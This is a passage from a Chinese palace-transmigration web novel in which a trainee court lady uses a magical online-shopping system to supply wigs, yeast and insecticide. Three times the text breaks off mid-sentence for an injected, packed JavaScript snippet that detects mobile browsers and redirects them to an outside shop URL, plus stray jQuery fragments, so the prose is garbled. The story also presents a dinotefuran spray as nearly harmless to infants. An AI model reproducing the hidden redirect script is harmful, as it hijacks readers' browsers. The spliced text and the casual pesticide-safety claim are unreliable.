“好了,都别吵。既然你们各执一词,不如复原一下今天早晨的场景吧,正好下节课就是关于扎发髻的课程,所有图同学都去参观,当个见证。”赵同惠道,其实她并不相信宛东所说能快速挽发,要是宛东真每日束发睡觉这样偷懒,她一定严惩不怠。 “好。” 宛东、丹桂和绮罗的三人寝室里站满了人,所有人全都站在屋门口以及窗户外头,观看“场景复原”。 “铃铃铃!”赵同惠站在窗外,重新摇起代表起床的铃声。 披散着头发的丹桂和绮罗从榻上弹起来下了榻。 穿衣洗脸后丹桂坐在铜镜前梳头。 此时宛东还躺在被窝里,绮罗叫醒宛东,宛东翻了个身继续睡。 管教老师和赵同惠一起站在房间里,房间里是最直观能够看见“案发现场”的。 赵同惠表情严肃,管教老师看着被窝里的宛东忍不住轻叹了一口气,这孩子咋还睡呢,人家都起来半天了。 镜子前的丹桂已经把头发梳通,开始要编发了。 这会宛东终于从床上坐了起来,她依旧不着急,开始慢悠悠地穿衣服,穿完衣服将枕头塞进被子里,又去洗了把脸,甚至是哼着小曲的。 另一边丹桂已经在编最后一股头发了,只要这小股头发编成麻花辫就大功告成了。 “刚刚宛东是不是说丹桂编头发的时候出的门?” “按照之前宛东说的,她这个时候就应该出门了。” “但是……”提出疑惑的同学看向房间中的宛东。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925534|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但是她的头发还全都散着。 管教老师已经不想继续看下去了,她在思考,要是武英司真出了一个受刑罚的该怎么办。 火烧眉毛之际,宛东终于拿起了另一侧小梳妆台上的木梳,只见她将头发从前到后分了个印,拿起一根黑色的圆圈线绳将头发绑了个马尾又盘在脑后。 “我马上就要编完头发了。”丹桂露出得意的微笑。开始拿出红色的线绳绑发,等她用几息的时间把绳子绑好,宛东就再也不能狡辩了。 绮罗在另一处梳头,她也是还原场景的重要人物,她一边梳头一边将余光瞥向宛东,宛东的头发才刚分好,早晨的时候也没注意到宛东是怎么操作的,但是宛东确实和她同时出了门。 将马尾扎好后,柳宛东从梳妆小柜里拿出淘宝买的一体式假发,放在头上,然后一边往门口走一边拿出几个U型夹固定,等她走到门口假发也固定好了,绮罗也刚好梳洗好,于是二人一起出了门。 而另一边,丹桂的绳结还没有完全编好。 “果真如宛东所说!她就是在瞬息之间梳洗完毕的。”管教老师松了一口气,赞赏道。 “哇!你这是什么假发啊,宛东,”这是才看清宛东操作的绮罗惊讶不已,她伸手碰了碰她的假发,要不是亲眼所见,她还以为那发髻是宛东自己的头发呢。“这是你用真发做的假发?” 宛东笑,“如何?是不是很逼真!” “太真了,而且太方便了!” “你这个头发真好,这样早上就能多睡会了!” “太厉害了!” 一时间几乎所有的培训同学全都奔着宛东的假发去了,她们又看又摸,全都特别惊奇。 “你这个假发肯定很贵吧,这种真发只有贵胄才能够买得起!”一个同学问。 毕竟她们用的假发有线绳、有鬃毛还有木片,但是真发很少很少。 因为真发很难固定住,而且身体发肤受之父母,谁会将自己的头发随便剪下来那么大块呢,所以真发来源稀少,价格昂贵。 “其实啊,这不是真发,你们再仔细感觉一下!”柳宛东道。 “好像和真发是不太一样诶,”一个培训生捻了捻,“这好像更硬?” “嗯!这个假发一点都不贵。只要100钱。”淘宝上的假发只要不到20块,还送很多U型夹和发网,柳宛东决定含泪赚她们80。 “只要100钱?!” “在哪买的?” “我也想买!” 一群人报名想买,柳宛东很快就摸清楚了想买假发的那些人的意愿,她迅速记在心里。 丹桂幽怨地站在寝室门口,没想到宛东竟然能有如此手段,她真是哑巴吃黄连,恭桶刷了,洋相也出了,现在又被宛东砸实是信口雌黄,以后她说话的可信度可就大打折扣了。 “好了好了,都回到教室中去。不许再争什么最后迟到倒二迟到了,以后谁再迟到全都统一去院子里面壁。”赵同惠严肃道。 赵同惠看着宛东的背影,这个宛东确实比她想象中要聪明一点,假发套确实是她所见过的所有假发中做得最好最逼真最轻巧的,而且非常方便,几乎不费时间。 * 【主线[升职]任务——打脸虐渣进度达成20%,请再接再厉。】 柳宛东正高兴的时候,宫外头却传来姥姥的消息,宛铮被官府拘了,罪名是低价卖抄本,扰乱市场,要下大狱的! 15.第十五章 半柱香前。 “这么点事情都干不好!你去领板子!”三皇子轩辕谨正在寝殿里发脾气。 眼前华丽的梳妆台上放着一堆假发,木片做的,毛线做的,蚕丝染色的,甚至还有棉花做的,各式各样应有尽有。 轩辕谨一袖挥开,半个台子上的假发都被拂到地面上,发出“劈哩叭啦”的声音。 “全都不好看!你们让我怎么出去和慈溪玩!”轩辕谨都快气哭了。 他今年年方十八,和几个端庄贤惠的哥哥不同,他是个调皮捣蛋鬼,原本就这样肆意快活下去也不错,到了年纪让母亲指上一门亲事就算落定。 谁知自从半年前戍边大军回朝,他坐在轿子里看见骑着高头大马的将领里一个帅气威武的女子便一见钟情。 四处打听才知是“平旌将军”卫慈溪。 卫慈溪的母亲卫元是“威武大将军”,驻守边关多年,立下赫赫战功,她的女儿卫慈溪也女承母业,在战场上纵马横刀,颇负盛名。 青鸾朝民风开放,这里女子男子可自由恋爱。 三皇子情窦初开后,再也不上房揭瓦,下河摸鱼了,每天都在房间中打扮自己。甚至日头大的时候都不出屋,美其名曰“捂白皮肤”。从不戴假发的他也开始四处搜罗好看的假发。 他上次得着机会同四弟还有卫慈溪一行人去北山溜冰,结果溜着溜着磕到一处冰印上,直接飞了起来。 幸好得卫将军及时出手拉了一把,他才没有摔倒。但是很可惜的是,他是没事,他的假发摔开了。 那块轻薄的裹着黑色布条的木片子从头上掉落,在冰面上“乓乓乓”响了三声巨响,然后呲溜溜飞出去三丈远。 他并不太多的头发瞬间披散下来,很是狼狈。 卫慈溪惊呆片刻后慌忙去捡那假发,而他那不知深浅的四弟当场笑翻过去,在冰面上捂着肚子打滚。 其余几个对卫慈溪芳心暗许的少爷们也都将此事当做笑料,他假发爱掉的名声早就传遍京城了。 此事已经过去有半月,但是每次他想起来还是觉得面色赤红,慈溪又约他两天后去蹴鞠。 他的心情实在是喜忧参半。 喜的是又能见到心上人,忧的是,蹴鞠的运动量更大,稍有不慎,假发还是会掉。 他愁得两宿都没睡着觉。 差下人们找遍了皇宫和京城,几乎市面上所有的假发他都试过了,就没一个顺心的! 要么是太厚重,要么是太轻薄,容易散开,再不然就是太假,之前太监们倒是给他找了一个真发,样子是好看,但是很难固定在头皮上,只好作罢。 他的头发也不算特别少,只不过在青鸾朝这个以发量多为美的朝代,他总归是希望能够打扮得更亮眼一些的。 要不,这次就先不去? 他叹口气,再出糗他真的嫁不出去了。而且最主要的是,卫慈溪身边的少爷实在太多了,一个个全都穿得花枝招展,这叫他如何放弃这机会。 心情烦闷时他听见花园里铲石块的声音,一下子怒气值飙到最高,于是大吼一声:“谁在那!” 一个宫女走了出来,规矩问好。 她穿一身蓝色武英司常服,看样子是位预备女官。 最主要的是,她的头发,云髻峨峨,一缕缕发髻如丝绦一般茂盛。 三皇子有点羡慕地盯着她的头发,甚至都没听见对方说了什么。 “好了,以后铲草的时候小点声,你去吧。”三皇子揉了揉眉心。 如果柳宛东现在走上前去,对三皇子说“请问你要不要质量上乘的假发?”。那一定会被抓起来。毕竟人家没问,这算“以下犯上”。 怎么才能在不经意间让三皇子意识到她头上的是假发并且邀请她做一顶假发呢。 她扯下头上的一缕头发攥在手里,“恕奴婢冒昧,奴婢的一缕假发掉在园中找不到了,担心被司正责罚,可否允许奴婢到凉亭附近找寻。” “大胆!你……”三皇子身后的太监想要上前教训这个不知天高地厚的女官。被三皇子制止住了。 “来福,你退下。你说你头上戴的是假发?” “是。”柳宛东将自己头上的假发拿下来。 这假发简直可以以假乱真,甚至比真发的颜色还要乌黑。 柳宛东演示了一下假发的使用方法。 假发四周是用U型夹子固定,中间在假发和真发中间有一块黑色的厚布垫着,布上面有两把小梳子,可以梳在真发上固定住。 那梳子也是黑色的,薄而轻巧,梳齿却有很多,这样能够保证固定在真发上的同时不被看出是假发。 “妙哉。”三皇子心中赞叹。用梳子固定在头发上,他怎么就没想到! “你怎么制作的,也给我做一顶来。” “奴婢……奴婢……奴婢不敢!请三皇子饶了我吧!”柳宛东发挥自己的电音声波,佯装畏惧。 “为何不敢!说理由。” “青鸾有规定,不可私自做假发,而且假发的材料必须是律法规定的木片、毛线等。” “小事一桩。我会去向母亲禀告此事,你且放心帮我制作一顶假发,两天内做好,我必重重有赏。”三皇子心情大好,交代完就匆匆离开了。 柳宛东在淘宝上搜索“古代男子假发”,男子假发比女子假发有些不同,她随手选择了一个高马尾款按时交货。 交货那天,正赶上武英司的优秀学员示范课。 管教老师让她上前分享制作假发的方法。 “不是不能私下制作假发吗?” “昨天皇上下旨,特批武英司的女官可以做,而且什么材料都可以!你看,你赶得真是巧!”管教老师一脸开心。 柳宛东笑笑,幸好她提前看了制作假发的书籍,能在课堂上讲个大概。 【恭喜宿主带领宫人完成“假发升级”任务,获得功德200点。】 【上级认可度40/100,获得“秒送卡”一张。】 秒送卡,顾名思义,可以加快送快递的速度。这个速度比闪送更快,相当于下了单就能立刻拥有,不用等待漫长的物流配送。可以应急。 不错不错,柳宛东暂时没有什么着急的东西,她顺手将卡片收到系统背包里。 * 晌午,卫慈溪和一众玩伴在蹴鞠场边休息。 平日她在军营中,边关地势崎岖,没有合适的蹴鞠场,所以她顶多就是在营帐中过过瘾,近日回京,好不容易有机会能够在这么大的蹴鞠场上活动,她心情十分不错。 不过左等右等,说好了今天要来的三皇子迟迟不来。 “我三哥是不是上次溜冰把假发摔掉了这次不好意思来啊!”四皇子轩辕昭道。 “哈哈哈哈哈哈哈!”众人发出一阵笑声。 “是不是找不到坚固的假发正在皇宫里哭哭啼啼!” “哈哈哈哈哈!” “我三哥哪有那么脆弱,顶多是绝食罢了!” “哈哈哈哈!” “慎言。”卫慈溪正色道。 “慈溪你就是太向着他了……” “诸位久等。” 不远处,轩辕谨款款而来。 他脚蹬一双黑面描金的靴子,下身黑色靴裤,上身也是黑色常服,身披一身墨色大氅,只领子处露出带着金黄边的一截衣领。 最主要是他的发型。 青鸾朝的男子都以发面光洁为美,一般都是用束发冠将所有头发都竖起来放置于头顶。 而轩辕谨前面是两缕碎发刘海,脑后一部分头发用浅金色布条竖了长马尾,另一部分头发则披散在肩。 不太符合青鸾朝当时的审美,不过真要细说,并不难看,反而显得发量更甚,颇有风流倜傥的感觉。 “三皇子的发型真是长发如墨啊!”卫慈溪还是第一次见到这样半扎半披的头发,原本应当是给人很繁重的感觉,却因为头发中间的素金绑带而看起来十分舒适。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952357|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “慈溪将军过奖了。”轩辕谨微笑一拜。 “这……”旁人面面相觑,看到这飘逸的发型也都称赞起来,“果真是别具一格。” “三哥,你头发什么时候这么多了。”轩辕昭在旁边惊叹,没想到今天的风头都被三哥出了,卫慈溪聪明正直,他也想求母亲赐婚于他的。 不过冷静下来,他很快想通了,这一定不是三哥的真发,他和轩辕谨从小一起长大,对于他的发量再清楚不过了,他就没有这么多头发,而且他的发色绝对不像眼见着这样深。 “问那么多干嘛。我们开始吧。”轩辕谨拿起蹴鞠。 “好啊。”轩辕昭站到了轩辕谨的对面队伍中,他紧紧地盯着那竹球。 几个回合下来,场上战事激烈,卫慈溪腿力最好,总是能够打前锋,但对面也有两位女将,两队暂时打成平手。 蹴鞠到了轩辕谨这里,他看准轩辕昭的位置,狠狠冲着他的头顶踢了过去。 “啪!”竹球击中了三皇子的马尾后快速摔落。 轩辕谨感觉到一股巨大的冲力,他的头套被狠狠击中。 众人全都关注着这蹴鞠的走向,然而落到地上的只有一个蹴鞠。 轩辕谨的头套还是在他头上牢牢固定着。 现代用的男子头套和女子头套还是有些不同的,区别就是一般情况下现代男子都是短发,所以头套要包裹住整个头,而他在边缘将发套用配套的胶水粘在了自己的皮肤上。 所以球只是撞击过来,那假发依旧稳固,甚至因为蹴鞠带起来的风把头发吹得有点凌乱。 “还你!”轩辕谨一脚踢起蹴鞠,将球还了回去。那蹴鞠冲着轩辕昭的脸飞了过去,在他的脸上印下了一道红印。 而蹴鞠上,则沾满了白色的粉状物。 “四弟,你今天画的扑粉可够多的!” “哈哈哈哈哈!”众人大笑。 轩辕昭气得说不出话来。 比赛暂停,轩辕谨带着微微凌乱的头发,扑向卫慈溪,“慈溪,刚刚真是吓死我了!” 卫慈溪抬头一看,眼前的三皇子秀发虽乱,但是隐隐有一种顽强的生命力。 她心头一软,搂上轩辕谨的肩膀,“没关系,我在。” * 下午,柳宛东在武英司上课。她面前摆放着一个带着木盖子的木盆。 “早晨我已经分给诸位老面引子了,想来已经过去三四个个时辰了,大家的面发的如何了,都掀开盖子提前检查一下。” “这次蒸馒头一定要拿出十二分的精力!”管教老师在厨房前面严肃道。“一会凤君会来视察,这是大家第一次见凤君,务必留下好印象。” 【恭喜宿主完成“帮助三皇子制作稳固假发”的任务。】系统声音适时响起。 想来三皇子那边应该是顺利了。 【奖励:可解锁凤君陆青钰人物志。】 还真合时宜。凤君一会到,系统就能提前把个人志调出来,算系统机灵。 凤君,统领后宫的男人置。 陆青钰此人和聂如良、谢平章不同,非宫内事务一般不出来,常在宫中深入简出。 是个非常难以捉摸的人。 柳宛东快速将他的生平看了下来,知道他出身丞相之家,母亲正直清廉,他本人也饱读诗书,颇有才华。年轻时入东宫,和皇上是结发夫妻。 只是结婚多年一直无所出,吃了很多中药调理,好在两年前突然传来喜讯,于去年产下两女,即双胞胎八公主、九公主。 得女后他便将后宫事务分散给其他侍修,自己则专心教导两位公主。 这么看来,是个比较疼孩子的家境优渥、爱挑剔的老父亲。 柳宛东略一知悉,便掀开锅盖查看自己的面有没有发好。 木盖打开,她发现自己的木盆中空空如也。 她早晨明明把面团放进来的,再回头看后排的丹桂,她嘴角噙着微笑,正用看好戏的眼神看着她。 16.第十六章 【系统检测到“他人恶意”,是否选择反击?当前预备女官级别虐渣经验值为30/100,经验值满后即可获得物品“金口玉言”。】 “闭嘴。”柳宛东在心里叫停系统。 “我要用‘秒送卡’。” 【请选择你的订单。】 “老面酵母,药效果最好最快的!” 柳宛东一边和系统对话,一边不动声色地从旁边的面粉袋里舀面粉,加水。 现在是冬天,气温比较低,正常用老面发酵应该要四个时辰也就是八小时以上,现在距离早晨她和面应该有三个时辰,这期间有一个时辰也就是两个小时的时间差。 “您的快递到了请查收。” 柳宛东在袖子中快速将那小件快递拆开,纸盒瞬间被系统回收,只留下8小袋老面酵母粉。 她拆开一包,按着比例兑到水里,揉进面团里。将面团揉匀后,她盖上盖子静静等待。 丹桂掀开自己的面盆,老面确实很好用,面已经开始发了。她看了看前排的柳宛东,发现她正在偷偷和面。 “现在和面还来得及吗?”她心里偷偷腹诽,“谁让你不看好自己的面团!” 她早就把柳宛东的面团藏到寝室里了。 不过想想还是觉得不保险。 她就举手和管教老师示意,说自己要去恭房。 回了寝室将面团揣进怀里,她匆匆往后园跑,她要把柳宛东这块面扔进恭房后头的粪车里。 刚把面团扔进去,回来的时候听见旁边院子有人在说话。 “让你查的人查到了吗?”陆青钰问身侧的太监。 “回禀凤君,奴才在查!只不过当晚出入凤羽宫的人实在很多,而且不知道恭房里留下的湿润草纸是本宫内的还是宫外的……” 凤君?丹桂停下脚步,将耳朵贴在墙上。 “让你查了这么久了你怎么连个人都找不到!我急需这种纸!快点去查,三天内你再查不出眉目就去领板子!” “是是,奴才这就去!” 湿润草纸,湿润……丹桂恍惚间觉得在哪里见过,她在柳宛东的柜子里见过,那是一种凉凉的白色的湿布,柳宛东曾经给绮罗用过。 听见那边墙外没有声音了,她心中有了一个大胆的想法。 她重新回到房间内,打开柳宛东的柜子,确定里面没有其他的湿厕纸后,将里面半包没用完的湿厕纸收进了袖子。 她悄悄走去隔壁花园,见到一个太监小跑着赶路,就撞了上去! “这小官!怎么不长眼睛!”太监牛四刚要发怒,看见地上散落出来的白色厕纸,愣了一瞬。 “这……这纸是做什么用的?” “是奴婢将水淋到纸上,如厕用的。”丹桂小声道。 “你之前什么时候去过飞羽宫的恭房?”牛四要再确认一遍细节。 “奴婢罪该万死,那日路过飞羽宫,只想小解,就进了恭房,使用过草纸后落下了。” 牛四眼睛发亮,真是“踏破铁鞋无觅处,得来全不费工夫”! * 柳宛东刚把面粉揉好还没一刻钟,凤君就翩然而至。 “现在大家打开木盖,凤君要来检查每个人的发面作业。”赵同惠站在厨房最前。 柳宛东闭了闭眼睛,才只有一刻钟,酵母菌的作用还显现不出来。 凤君从一个个探查过去,这届女官苗子果真不错,每个人的面都发得很好,在这次女官培训前,她曾经找到赵同惠单独谈话,说要严格管理,多加教导。 看来赵同惠做得不错。 陆青钰查看着每个人盆里的面团,时不时还用手捏下一块,看看里面的气孔。 每个人的面团发酵程度不太一样,但基本都是肥肥大大的一朵,他面无表情,只是边走边点头。 直到走到柳宛东面前,大大的木盆里只有一小团湿面团。 小小的一团衬得木盆格外大。他面色变了变,用手去戳面团,湿湿的,不够蓬松,好像刚和好一样,完全没有一点发面的痕迹。 “这是谁的面团?你怎么和面的?”陆青钰侧头看着柳宛东。 “回凤君的话,奴婢的面团不知被谁扔掉了,只好在刚才现和一次,一会就发了,不耽误稍后做馒头。” “被扔掉?”陆青钰沉思。 宛东!又是宛东!赵同惠心乱如麻,这个宛东怎么总是出问题。 “凤君,可能是有人碰掉了面团,回头我重新教导她。” 陆青钰不想在这么多人面前给这小宫女不自在,他不想吓到她,于是只轻轻摇了摇头。 这面肯定不行,要不了一个时辰,就要上大锅开蒸馒头了,她这面团蒸出来的绝对是死面的。 再继续往前走,门外有个太监小跑过来,在陆青钰耳边说了几句话,眼神瞟向另一边的丹桂。 陆青钰紧皱的眉头瞬间放松了下来。 “谁是丹桂?” 正在走神的丹桂突然被叫到,就慌张地“啊”了一声,意识到自己声音很大后,她不自然地笑了笑,轻轻举起手。 “看看你的面团。”陆青钰一改刚才的无表情,面色和煦下来。 丹桂小心翼翼地打开盖子,里面是一块已经发好了的面团,和其他人面团的发酵程度类似。 陆青钰用手捏了捏那面团,触感松软。 “很不错。”果然是个机灵的。 “丹桂,还不谢谢凤君的夸奖!”赵同惠有点惊讶,凤君很少骂人也很少夸人,今天丹桂真是太幸运了。 到了上锅的时候,每个人将面团分成大小均匀的小剂子,转成圆形,放进大锅中。 柳宛东将自己的馒头放了进去,刚刚面是发了,她轻轻一扯,里面的气孔非常巨大密集,希望蒸出来也能如愿吧。 不一会,馒头蒸好了。 凤君、赵同惠和多位管教老师开始一份一份品尝这些新手们做的馒头。 虽然面是发了,但是每个人做出来的馒头味道都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952358|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一样,有的酸一点,有的淡一点,软硬也不同,有的过于稀软,吃着没有嚼劲,有的则更硬,难以下咽。 陆青钰最喜欢吃的就是馒头,小厨房总是有一蒸屉一蒸屉的馒头在锅上热着。虽然御膳房、小厨房的老师傅技艺精湛,做的馒头各有特色。 陆青钰最想念的还是以前做少爷的时候吃的馒头。他家的厨子,每次蒸馒头都会提前很久开始和面,把面发久发头,蒸出来的馒头就非常好吃。 他面无表情地嚼着每一份馒头,吃过一口觉得不好就吐到面前的小碗里,吃了半天,一块馒头也没咽下去。 再打开一个蒸屉,里面的馒头洁白蓬松,用筷子撕开,那截面竟然像是有纹路一样,层层叠叠的,他放到嘴里轻轻咬住,恰到好处的面香在嘴里缓缓流淌。 用牙齿嚼了两下。软硬适中,不稀不干,柔软中带着劲道,他咽了下去。 然后又夹起一块新的馒头,撕开依旧如此。 “这是谁做的馒头?”他眼神看向丹桂。 要是丹桂……要是丹桂,那他现在就下旨让她不用考核直接去尚食局当差,不过丹桂这么聪明,知道在草纸上喷水,去尚寝局也不错。 丹桂并没有说话,反而是她身后的另一个女子开了口。 “是我做的。” 陆青钰看见熟悉的面孔,刚才她和的面还是一团死面,这么快竟然能够做成这么好的馒头。 “真是你的?我看看你剩的面。” 柳宛东将没用完的面端了上去,那面已经发好了。轻轻一扯,就露出里面巨大的气孔。面团不像是一个整体,倒像是无数面线黏连。 这是发酵得非常好的结果。 赵同惠轻轻松了一口,还好宛东没有丢脸。 陆青钰微微点头,“不错,你叫什么名字。” “宛东。” 【上级认可度80/100。】系统音响起。 柳宛东眼前的两个人对着自己和煦微笑。 这时外面又进来一个女官,这女官是监察司的,她先是给凤君和司正请了安,然后说有要事汇报。 “女官的选拔标准是家境清白,才能突出。宫女宛东的妹妹宛铮因为‘偷窃罪’突然入狱,宛东也成为特定考察人选。如果在考察期间有任何不端行为,将会被从女官名册上除名。” 【上级认可度减少至30/100。】 系统音再次响起。 柳宛东内心无语,怎么任务条还能缩回去啊。 “宛铮绝不是盗窃之人,奴婢恳请大人彻查。” “官府自有定夺。”监察司的女官冷道。 现在着急并不是办法,还不到月初,柳宛东出不去,就算出去了也无法对官府的裁决进行更改。要是有贵人能够让官府公正审理而不是草草了事就好了。 突然,柳宛东灵光一现,这不就是“金口玉言”? 虐渣程度达到100点即可解锁。 她按捺不住激动的心了。 17.第十七章 课堂上。 尚寝宫的司设王筑正在教室最前带领众人复习上节课学习的知识。 “首先,床虱喜欢阴暗潮湿的地方,所以想要消除这些小虫子,就需要时常将被子拿出去晾晒,经过晾晒的被子床虱出现的概率就会大大减少。” “另外呢,床虱喜甜,我们可以把白糖放在床角吸引床虱,再将硫磺粉浸泡在水中搅匀,用抹布蘸硫磺水擦拭床头床脚等床虱可能走过的地方。” “不过千万要记住,硫磺的味道不好闻,八公主和九公主每次闻都会头晕恶心,这两位公主的被褥不能用硫磺来处理,而是要用兰草。” “今年床虱闹得厉害,两位公主不喜硫磺,现在天气寒冷,兰草也无法成活,估计要为床虱烦恼了。上次课堂让你们准备的除床虱的东西都带来了吧。”王筑问道。 女官选拔出来的学员都是勤奋好学的,所以各个司局有什么问题都会放到课堂上来让大家集思广益。 “今天就是一个小小的课堂测试,谁要是能找到出去床虱的好法子,凤君大人可要重赏,考评积分也会多加。”王筑又补了一句。 培训结束后,积分排名靠前的人能够自由选择司局而不是等待分配,这对于学员来说至关重要。 一听能多加积分,学员们一下就高兴起来,全都摩拳擦掌。 每人面前全都放着一个合着盖子的木盒,每个盒子里都粘有一百只活的床虱,今天课堂小测就是看谁能够找到快速、合适除床虱的办法。 深冬时节,兰草无法成活,其他的驱虫用品都有刺激性气味,两位公主对除了兰草以外的驱虫物品的味道十分抗拒。她们只有一周岁多,不能像大人那样赶跑虱子,因此饱受床虱折磨。 床虱咬出来的包很痒很痛,非常难受。 王筑在教室中来回巡查,所有人都在认真处理着眼前的床虱。 有的人用的是烧好的草木灰,还有的人用的是盐水。 绮罗是将提前准备好的皂角全都磨成极细的粉,快速撒入木盒中,然后马上盖好盖子。这种床虱弹跳力很强,一不小心就会从盒子中跑出来。 丹桂则是提前将干的艾草混合蒿草磨成粉,兑上水和成泥糊状放进一个瓷碟里,打开木盒盖子,将瓷碟放进盒子里又合上盖子。 “你这是什么做法?”王筑走到柳宛东跟前。 她看到她在往盒子里喷水。她眉头一皱,床虱其实不怕水,或者说,床虱最喜欢的就是阴暗潮湿的环境,眼前宛东的做法实在称不上是好方法。 “知道的以为你在除虫,不知道的还以为你养床虱呢。”丹桂道。 众人哈哈大笑起来。 “你喷这么多水,你想要淹死床虱吗?”她有点关切地问。她在来武英司之前是看过这些学员成绩的,宛东排名非常靠前。 “这种水无色无味,喷洒到床铺上,就能让床虱迅速死亡。” “宛东,休要胡说。”刚才进门来旁听的赵同惠有点着急,今天来讲课的是尚寝局的王司设,专管床上用品以及铺设洒扫,是从六品女官。 话说出去,可是要负责的,如果做不到,那就是说大话,虽然这种事不会有什么实质性的惩罚,但在任何一个女官的心中留下一个自大的印象都不是什么好事。 “水?别说大话了。”丹桂简直要笑出声,这个宛东每次都用些稀奇古怪的法子,以往能让她糊弄过去,这次可真不太可能。 “如果有人可以想出法子让□□公主房内的床虱减少,对于评比的个人积分确实有利,高积分有自由选择司局的权利,但□□公主身娇体嫩,集万千宠爱于一身,万万不可有差池,更不能用来哗众取宠。”王筑严肃道。 如果这么做是为了引起管教老师的注意力,那太不值得。毕竟对于一个预备女官的考察并不只有课堂积分。 床虱这种东西有点像蟑螂,只要发现一只,说明暗处指不定有多少只了。 她手里喷壶中的液体更确切点说应该是溶剂。 是她在淘宝买的呋虫胺药粉,按照说明兑上清水后摇晃均匀就成为了呋虫胺溶剂。 她无法和其他人解释呋虫胺是一种九十年代新发明的杀虫剂,兑了药粉的溶液和水一样无色无味,不沾不黏。而且对于婴幼儿刺激作用微乎其微。 呋虫胺能够破坏害虫的神经系统,效果迅速。最主要的是功效非常良好,她之前合租的房子闹蟑螂,只用了两包呋虫胺就解决了。 “是学生特质的水,我只喷洒到木盒内里一层,这些水完全不能淹死床虱,但是却可以消灭它们。” 见宛东如此严肃,赵同惠和王筑都不便再说什么,只是点头就去看下一位。 待所有人将床虱处理完毕,等待半日后就是分胜负的时刻了。 所有人站在教室里,每个学生面前摆放着已经操作过的木盒。 “现在开始,所有人打开盒子,我们要数一下死去的床虱数量。” 一一打开木盒,王筑和赵同惠一起点数死去的床虱数量。 “李许,53只。” “绮罗,54只。” …… 很快,赵同惠和王筑已然走到最后两位学生面前。 “丹桂,78只。”王筑抬头对赵同惠微笑。 “这数量不错,可以说是很好了,你用的方法是什么?和大家分享一下。”赵同惠抓住所有的机会向各个司局推荐新人。 丹桂自信一笑,她平日里成绩优异,眼下除虫的数量也已经是最多的,她后边只有一个宛东了,宛东虽然平日里成绩亮眼,但是这次实在不足为惧。 “方法很简单,就是每年重阳的时候要提前把艾草和蒿草收集起来,晾干,等到深冬时拿出来,将干艾草、干蒿草磨成粉,再在其中加入一些水,最好是放上一些树皮汁,这样就能起到防虫的效果。” “而且,考虑到两位公主年岁尚小,对于气味敏感,我还在其中加入了少许玫瑰花膏,遮掩艾草的味道。” “很好,我们做女官,就是要懂得提前规划,多方考虑,丹桂今天表现亮眼,加3分。” 丹桂激动地笑了起来,3分可是很多的分数,全场应该没有人可以比自己再高了。 赵同惠和王筑两个人走到柳宛东跟前,赵同惠心里捏了一把汗,宛东之前说只喷薄薄一层水就能够除虫,听起来实在不像是什么好法子。 王筑掀开那木盒的盖子,看到里面的景象,愣住了。 她点数了两遍。 “宛东,100只。” 之前已经被查验完正在放松地说着小话的学生们全都不由自主地 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“我的宝贝啊,不要哭了。”他将八公主放在椅子上坐好,打开孩子的短袄,将里衣的袖子挽起来。接过宫女递过来的浸了水的蚕丝帕子一点一点擦拭她的胳膊。 本来八公主只有一周多,两个胳膊跟藕节似的白嫩。可被床虱一咬,胳膊、肚皮上全是大红包,八公主瘙痒难耐,总是止不住地去挠,导致好几个红包全都被挠破了,全是指甲挠过的血印。 “不要再挠了,轩辕明月!”陆青钰头痛道。 他和皇上结发多年,一直无所出。无论前朝还是后宫很多人对于他坐凤君之位颇有微词。 直到他两年前有了身孕,又一次诞下双胞龙女,这种声音才逐渐平息。25岁高龄才得女,他对于这两个孩子可谓是加倍宠爱。 可是床虱实在泛滥!他恨不得天天晚上坐在两个孩子的寝殿为她们捉床虱。可是床虱可恨就可恨在,即便她派了很多个人轮番值守捉虫,用了各种各样的方法驱虫,床虱就是一直在。 每一天起床,都能看见孩子身上多了好几个包。 就算是大人身上也会被咬出包,更何况明月和映雪才一周多,完全没有办法应对这些臭虫! 他叹气,让宫女按住孩子的手,自己一点点在红肿的地方涂“紫草膏”,这是太医院精心调配的,可以快速消肿止痛。 “不要不要!痒!”八公主哭喊着,她的两只手胡乱抓着,胖嘟嘟的小脸上全是鼻涕眼泪,她现在还说不了完整的句子,无法全面地表达出她有多么不舒服。 九公主也哭了起来,她的脸上甚至也被咬了,就在眉心正中。她止不住地用手挠抓,抱着她的宫女轻轻按住她的手,她拼命地摇摇头,开始大哭。 陆青钰焦头烂额之际,一声通传。 “尚寝局的王司设求见。” “不见。” 陆青钰看着两个女儿身上大大小小的红肿,恨不得自己为她们两个受罪,哪还有心思顾得上洒扫事宜。 “王司设说是为了床虱的事来,还带了两个女官。” “都没用,不见。等一下,女官是什么名字。” “丹桂,宛东。” “让她们进来吧。” 18.第十八章 